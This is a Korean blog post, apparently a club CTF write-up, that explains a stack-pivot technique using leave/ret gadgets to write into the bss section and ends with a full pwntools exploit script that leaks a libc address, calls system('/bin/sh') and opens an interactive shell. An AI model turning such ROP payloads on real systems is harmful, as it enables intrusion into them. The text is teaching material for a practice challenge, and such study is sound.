문제
오늘의 문제는 스택비벗 관련 문제이다. 이전과 달라진 점은 일단은 카나리가 없고, 대신에 Full Relro가 걸렸다는 점이다. 이 Full Relro가 적용이 되면 got영역에 쓰기권한이 사라지게 된다. bss 영역만 쓰기 권한이 생긴다. 그러면 bof로 승부를 봐야하는데.. 16byte로 대체 어떻게 공격을 할 수 있단 말인가?!
STACK PIVOT?
그래서 등장한 것이 스택 피벗이다. 위에서 bss 영역에는 쓰기 권한이 아직 남아있다고 하였다. bss영역에 system 함수와 binsh의 주소를 잘 적어놓고, RIP를 bss 영역으로 옮겨준다면? 가능할지도 모르겠다! 이렇게 쓸 수 있는 공간으로 옮겨 들어가서 RTL Chaining을 하는 것을 스택피벗이라고 한다.
어떻게?
그런데 bss영역에 어떻게 rip를 옮길 수 있을까? 이전 ROP에서는 pop ret 등의 가젯들을 이용해서 rip를 옮겨 줬는데, 이번에도 비슷하게 하면 되지 않을까?
먼저 스택피벗에서는 leave_ret 가젯이 매우 중요하게 작용한다. 사실 난, 이 문제를 풀기 전에는 지식이 너무 없었고.. 심지어 push, pop을 하면 rsp가 변하는 것도 몰랐기에, 좀 자세히 적겠다. 볼 사람만 클릭!
leave
mov rbp, rsp
pop rbp
ret
pop eip
jmp eip
이를 자세히 보면 ret영역에 적어놓은 주소로 점프 하는지 알 수 있다.
leave 명령어를 실행하면 스택은 다음과 같이 변화한다.
이 상태에서 ret 을 하면, pop eip에 의해 eip에는 ret의 주소가 담길 것이고, jmp eip로 ret의 주소를 실행하게 되는 것이다.
이 leave, ret을 이용하면 rbp의 값을 조정할 수 있고, rsp의 값을 조정할 수 있고, eip의 값도 조정할 수 있다!
지금까지 별로 중요하게 생각하지 않았던 SFP 영역에 주목을 해야한다. 함수 프롤로그에서 push rbp를 통해서 SFP가 생성이 되는데, 이 rbp는 leave를 만날 때 까지는 SFP를 가르키고 있다. 근데 이게 무슨상관일까?
bss영역에 데이터를 쓰려면 이 프로그램에서는 read함수 밖에 쓸 수가 없는데 read함수의 2번째 인자(rsi)부분을 보면 rbp+buf 즉, rbp-0x30영역에 데이터를 쓰겠다는 것이다. 그렇다면 rbp를 bss영역으로 옮겨 주게 되면 bss영역에 데이터를 쓸 수 있을 것이다!
일단 먼저 leak을 해보자. 가장 만만한 것은 puts 함수이다. 인자도 한개이고. 64bit에서는 인자를 레지스터에 넣어서 전달하는데 rdi, rsi, rdx 순으로 첫번째, 두번째, 세번째 인자이다. 따라서 pop rdi 같은 가젯도 필요할 것이다(ROP가젯을 사용하는 방법은 패스하겠다)
leak 전에 우선, bss 영역으로 이동할 필요가 있다.
처음 페이로드이다. bss영역 +0x30을 준 이유는 read로 읽는 부분이 rbp-0x30이기 때문에 rbp가 bss로 이동을 하게되면 bss-0x30으로 bss영역이 아닌 엉뚱한 곳에 쓰게 되기 때문이다. 그리고 read_leave_ret은 두번째 페이로드 작성을 위해서 이다. 이 가젯은 프로그램 마지막에 read_leave_ret이 실행되기 때문에, 그 부분 주소를 가지고 오면 된다.
그렇다면 read 함수에 어떻게 값을 넣어줘야 할까? 지금 우리가 이 스택피벗을 하는 이유는 근본적으로 공간이 부족해서 이다. 즉, rip가 buf의 시작부분을 가르키게 하고 싶다는 것이다. 그렇다면 rbp에 bss의 주소를 넣어주고 rip에 leave_ret 가젯을 넣어준다면 leave에 의해서 rsp는 rbp와 같이 buf맨 아래(bss)로 내려오고 bss+0x8로 rsp가 이동, ret에 의해서 bss+0x8로 rip가 이동, bss+0x10으로 rsp가 이동할 것이다.
그렇다면 'A'*8 +pop_rdi_ret + puts@got + puts_plt +'A'*0x10+ bss+ leave_ret 을 해주게 되면 일단 leak은 될 것이다.
이 주소를 처리하는 것은 논외로 하고, leak을 했으면 다시 payload를 주입시켜서 익스를 할 필요가 있다. 뭐 그래봤자
payload를 읽게 할 방법은 read함수로 다시 특정한 공간에 쓰고 leave_ret 가젯을 잘 활용해서 rip를 옮겨 주면 된다.
이렇게 구성을 해주면 bss+0x38이후에 leave_ret이 실행 된 이후 부터이다.
1. 이전 leave_ret에서 pop rbp에 의하여 rbp는 bss+0x58로 가서 bss+0x28을 가르키게 된다.
2. 그뒤 각종 read 까지는 아무 이상없이 실행이 되고, 이때 rbp는 bss+0x58이므로 여기서 부터 아래로 0x30byte 위로 0x10byte를 쓸 수 있고, 빨간색으로 된 글씨가 이때 주입된 페이로드 이다.
3. leave를 만나면서 mov rsp, rbp에 의해 rsp는 bss+0x58로 이동한다. 그리고 이어지는 pop rbp에 의해 rbp는 bss+0x28을 가르키고 rsp는 bss+0x60으로 이동한다.
4. pop rip, jmp rip로 leave_ret이 실행되고 이 결과로 , rsp는 bss+0x40, rbp는 dummy, rip는 pop_rdi_ret을 가르키게 된다.
5. pop_rdi_ret 이 실행되며 rdi에 /bin/sh의 주소가 담기게 되고 다시 ret에 의해 system 함수가 실행된다.
이것은 본인이 직접 손으로 그려가면서 이해를 하는게 좋다. leave_ret을 하면 rsp주소는 rbp+0x10이 되고, rbp+0x8에 rip가 있고.. 그런게 다 외워지더라
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
|
from pwn import*
#STACK PIVOT
#RDI >> RSI >> RDX
puts_plt=0x400530
puts_got=0x600FD0
read_leave_ret=0x4006B3
pop_rdi_ret=0x400743
leave_ret=0x4006D3
p=process('./prove')
#p=remote('35.194.245.237',8085)
bss= 0x601010 + 0x350
p.recvuntil(">> ")
payload= 'A'*0x30 #dummy
payload+= p64(bss+ 0x30) #sfp
payload+= p64(read_leave_ret)
p.send(payload)
payload=p64(bss+0x58)
payload+=p64(pop_rdi_ret)
payload+=p64(puts_got)
payload+=p64(puts_plt)
payload+=p64(read_leave_ret)
payload+="A"*8
payload+=p64(bss)
payload+= p64(leave_ret)
p.send(payload)
libc_puts_packed=p.recv(6)+'\x00\x00' #already packed
print('libc_puts : '+hex(u64(libc_puts_packed)))
libc_base=u64(libc_puts_packed)-0x06f6a0 #offset
print('libc_base : '+hex(libc_base))
libc_system=libc_base+0x453a0 #offset
print('libc_system : '+hex(libc_system))
binsh=libc_base+0x18ce17 #binsh leak
print("/bin/sh : "+hex(binsh))
payload=p64(leave_ret)
payload+=p64(pop_rdi_ret)
payload+=p64(binsh)
payload+=p64(libc_system)
payload+=p64(bss+0x28)
payload+=p64(bss+0x28)
payload+=p64(bss+0x28)
payload+=p64(leave_ret)
p.send(payload)
p.interactive()
|
cs |
총 페이로드이다. 오프셋은 본인의 환경에 따라 바뀔 수 있다.
'전공쪽 > 동아리 관련' 카테고리의 다른 글
동아리 가을 CTF write up (0) | 2020.10.11 |
---|---|
[동아리CTF] FastFood Write-up (0) | 2020.10.02 |
FSB를 위한 함수 (0) | 2020.08.31 |
[동아리 CTF] 문제 CheckSum (0) | 2020.07.31 |
FormatString 공격 문제 (0) | 2020.07.29 |